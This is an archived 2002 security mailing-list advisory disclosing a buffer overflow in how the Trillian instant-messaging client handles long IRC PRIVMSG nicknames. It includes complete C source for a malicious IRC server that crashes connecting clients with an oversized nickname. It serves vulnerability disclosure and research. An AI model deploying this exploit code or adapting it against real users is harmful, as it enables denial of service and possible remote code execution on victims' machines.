lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <F117h1DCx3EciyR9nvh00006284@hotmail.com>
From: fitzies at hotmail.com (Lance Fitz-Herbert)
Subject: Trillian .73 & .74 "PRIVMSG" Overflow.

Discovered:
-----------
02 September 2002 By Me, Lance Fitz-Herbert (aka phrizer).


Vulnerable Applications:
------------------------
Tested On Trillian .74 and .74, But im guessing older versions are also 
vulnerable.


Impact:
-------
Low-High. This could possibly allow arbitary code to be executed on the 
remote victims machine, or used as a DoS.


Details:
--------
Trillian is a popular Instant Messageing client, which supports 
icq/aim/yahoo/msn and IRC.
An overflow exists in the way Trillian procceses 'PRIVMSG' commands from the 
irc server. If the nickname of the sender is larger than 206 bytes, trillian 
will crash and overwrite registers.

To exploit this, the victim needs to be connected to the Attackers 'IRC 
Server'


Solution:
---------
Dont go on untrusted IRC Servers.


Exploit:
--------
DoS code to prove flaw:


/* Trillian-Privmsg.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Privmsg Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:"
#define MSG2 "!ident@...ress PRIVMSG target :You are the weakest link, 
Goodbye.\n"

int main() {

	SOCKET TempSock = SOCKET_ERROR;
	WSADATA WsaDat;
	SOCKADDR_IN Sockaddr;
	int nRet;
	char payload[300];

	printf("\nTrillian Privmsg Flaw\n");
	printf("----------------------\n");
	printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
	printf("Tested On Version .74 and .73\nListening On Port 6667 For 
Connections\n\n");

	if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
        	printf("ERROR: WSA Initialization failed.");
		return 0;
	}


	/* Create Socket */
	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s == INVALID_SOCKET) {
		printf("ERROR: Could Not Create Socket. Exiting\n");
		WSACleanup();
		return 0;
	}

	Sockaddr.sin_port = htons(6667);
	Sockaddr.sin_family = AF_INET;
	Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
	if (nRet == SOCKET_ERROR) {
		printf("ERROR Binding Socket");
		WSACleanup();
		return 0;
	}

	/* Make Socket Listen */
	if (listen(s, 10) == SOCKET_ERROR) {
		printf("ERROR: Couldnt Make Listening Socket\n");
		WSACleanup();
		return 0;
	}

	while (TempSock == SOCKET_ERROR) {
	      TempSock = accept(s, NULL, NULL);
	}

	printf("Client Connected, Sending Payload\n");

	send(TempSock,MSG1,strlen(MSG1),0);
	memset(payload,'A',300);
	send(TempSock,payload,strlen(payload),0);
	send(TempSock,MSG2,strlen(MSG2),0);

	printf("Exiting\n");
	sleep(100);
	WSACleanup();
	return 0;
}

--end code--

----
NOTE: Because of the amount of spam i receive, i require all emails directed 
*to me* to contain the word "nospam" in the subject line somewhere. Else i 
might not get your email. thankyou.
----










_________________________________________________________________
Send and receive Hotmail on your mobile device: http://mobile.msn.com


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ